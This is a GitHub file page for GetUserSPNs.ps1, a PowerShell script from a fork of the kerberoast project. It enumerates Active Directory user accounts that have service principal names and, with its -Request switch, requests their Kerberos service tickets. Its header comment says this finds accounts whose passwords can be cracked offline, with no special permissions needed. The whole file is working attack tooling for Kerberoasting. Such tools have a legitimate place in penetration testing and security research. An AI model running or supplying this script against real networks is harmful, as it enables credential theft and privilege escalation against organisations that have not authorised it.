forked from nidem/kerberoast
-
Notifications
You must be signed in to change notification settings - Fork 0
/
GetUserSPNs.ps1
129 lines (118 loc) · 6.11 KB
/
GetUserSPNs.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
# Edits by Tim Medin
# File: GetUserSPNS.ps1
# Contents: Query the domain to find SPNs that use User accounts
# Comments: This is for use with Kerberoast https://github.com/nidem/kerberoast
# The password hash used with Computer accounts are infeasible to
# crack; however, if the User account associated with an SPN may have
# a crackable password. This tool will find those accounts. You do not
# need any special local or domain permissions to run this script.
# This script on a script supplied by Microsoft (details below).
# History: 2016/07/07 Tim Medin Add -UniqueAccounts parameter to only get unique SAMAccountNames
# 2016/04/12 Tim Medin Added -Request option to automatically get the tickets
# 2014/11/12 Tim Medin Created
[CmdletBinding()]
Param(
[Parameter(Mandatory=$False,Position=1)] [string]$GCName,
[Parameter(Mandatory=$False)] [string]$Filter,
[Parameter(Mandatory=$False)] [switch]$Request,
[Parameter(Mandatory=$False)] [switch]$UniqueAccounts
)
Add-Type -AssemblyName System.IdentityModel
$GCs = @()
If ($GCName) {
$GCs += $GCName
} else { # find them
$ForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$CurrentGCs = $ForestInfo.FindAllGlobalCatalogs()
ForEach ($GC in $CurrentGCs) {
#$GCs += $GC.Name
$GCs += $ForestInfo.ApplicationPartitions[0].SecurityReferenceDomain
}
}
if (-not $GCs) {
# no Global Catalogs Found
Write-Host "No Global Catalogs Found!"
Exit
}
<#
Things you can extract
Name Value
---- -----
admincount {1}
samaccountname {sqlengine}
useraccountcontrol {66048}
primarygroupid {513}
userprincipalname {[email protected]}
instancetype {4}
displayname {sqlengine}
pwdlastset {130410454241766739}
memberof {CN=Domain Admins,CN=Users,DC=medin,DC=local}
samaccounttype {805306368}
serviceprincipalname {MSSQLSvc/sql01.medin.local:1433, MSSQLSvc/sql01.medin.local}
usnchanged {135252}
lastlogon {130563243107145358}
accountexpires {9223372036854775807}
logoncount {34}
adspath {LDAP://CN=sqlengine,CN=Users,DC=medin,DC=local}
distinguishedname {CN=sqlengine,CN=Users,DC=medin,DC=local}
badpwdcount {0}
codepage {0}
name {sqlengine}
whenchanged {9/22/2014 6:45:21 AM}
badpasswordtime {0}
dscorepropagationdata {4/4/2014 2:16:44 AM, 4/4/2014 12:58:27 AM, 4/4/2014 12:37:04 AM,...
lastlogontimestamp {130558419213902030}
lastlogoff {0}
objectclass {top, person, organizationalPerson, user}
countrycode {0}
cn {sqlengine}
whencreated {4/4/2014 12:37:04 AM}
objectsid {1 5 0 0 0 0 0 5 21 0 0 0 191 250 179 30 180 59 104 26 248 205 17...
objectguid {101 165 206 61 61 201 88 69 132 246 108 227 231 47 109 102}
objectcategory {CN=Person,CN=Schema,CN=Configuration,DC=medin,DC=local}
usncreated {57551}
#>
ForEach ($GC in $GCs) {
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.SearchRoot = "LDAP://" + $GC
$searcher.PageSize = 1000
$searcher.Filter = "(&(!objectClass=computer)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("serviceprincipalname") | Out-Null
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.PropertiesToLoad.Add("samaccountname") | Out-Null
#$searcher.PropertiesToLoad.Add("userprincipalname") | Out-Null
#$searcher.PropertiesToLoad.Add("displayname") | Out-Null
$searcher.PropertiesToLoad.Add("memberof") | Out-Null
$searcher.PropertiesToLoad.Add("pwdlastset") | Out-Null
#$searcher.PropertiesToLoad.Add("distinguishedname") | Out-Null
$searcher.SearchScope = "Subtree"
$results = $searcher.FindAll()
[System.Collections.ArrayList]$accounts = @()
foreach ($result in $results) {
foreach ($spn in $result.Properties["serviceprincipalname"]) {
$o = Select-Object -InputObject $result -Property `
@{Name="ServicePrincipalName"; Expression={$spn.ToString()} }, `
@{Name="Name"; Expression={$result.Properties["name"][0].ToString()} }, `
#@{Name="UserPrincipalName"; Expression={$result.Properties["userprincipalname"][0].ToString()} }, `
@{Name="SAMAccountName"; Expression={$result.Properties["samaccountname"][0].ToString()} }, `
#@{Name="DisplayName"; Expression={$result.Properties["displayname"][0].ToString()} }, `
@{Name="MemberOf"; Expression={$result.Properties["memberof"][0].ToString()} }, `
@{Name="PasswordLastSet"; Expression={[datetime]::fromFileTime($result.Properties["pwdlastset"][0])} } #, `
#@{Name="DistinguishedName"; Expression={$result.Properties["distinguishedname"][0].ToString()} }
if ($UniqueAccounts) {
if (-not $accounts.Contains($result.Properties["samaccountname"][0].ToString())) {
$accounts.Add($result.Properties["samaccountname"][0].ToString()) | Out-Null
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
} else {
$o
if ($Request) {
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $spn.ToString() | Out-Null
}
}
}
}
}